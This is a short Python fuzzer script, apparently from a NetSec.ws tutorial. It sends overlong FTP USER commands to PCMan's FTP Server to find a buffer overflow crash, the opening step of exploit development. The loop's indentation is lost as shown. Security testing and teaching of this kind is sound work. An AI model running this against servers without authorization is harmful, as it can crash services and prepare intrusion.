# Simple Fuzzer for PCMan's FTP Server
# Written for NetSec.ws

import sys, socket, time

# Use in the form "python fuzzer.py  "

host = sys.argv[1] # Recieve IP from user
port = int(sys.argv[2]) # Recieve Port from user

length = 100 # Initial length of 100 A's

while (length < 3000): # Stop once we've tried up to 3000 length
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Declare a TCP socket
client.connect((host, port)) # Connect to user supplied port and IP address
client.recv(1024) # Recieve FTP Banner
client.send("USER " + "A" * length) # Send the user command with a variable length name
client.recv(1024) # Recieve Reply
client.send("PASS pass") # Send pass to complete connection attempt (will fail)
client.recv(1024) # Recieve Reply
client.close() # Close the Connection
time.sleep(2) # Sleep to prevent DoS crashes
print "Length Sent: " + str(length) # Output the length username sent to the server
length += 100 # Try again with an increased length